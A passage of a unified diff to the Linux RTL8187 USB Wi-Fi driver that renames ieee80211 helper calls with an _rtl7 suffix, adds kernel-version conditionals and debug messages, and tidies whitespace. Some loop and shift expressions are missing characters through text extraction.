LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1190,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1205,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1220,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1229,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,30 +1237,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1228,7 +1270,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1291,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1349,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1360,16 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1381,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,8 +1394,8 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1365,32 +1407,32 @@ priv->stats.txlpdrop++; return -1; } - - + + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1441,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1463,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1480,54 @@ } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1536,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1547,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1568,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1595,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1622,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,9 +1663,9 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps @@ -1622,23 +1673,27 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1710,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1770,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1818,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1827,64 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1901,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1936,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +1965,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2055,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2121,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2144,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2158,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2202,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2341,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2359,17 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); - + struct iwreq *wrq = (struct iwreq *)rq; - + int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2378,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2321,9 +2390,9 @@ int status,len,flen; struct sk_buff *skb; u32 *desc; - + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2335,17 +2404,17 @@ //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - + desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - + stats.signal = (desc[1] & 0x7f00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; @@ -2353,22 +2422,23 @@ stats.mac_time[1] = desc[3]; skb = dev_alloc_skb(flen-4); //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2446,9 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - + } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2466,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2488,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if 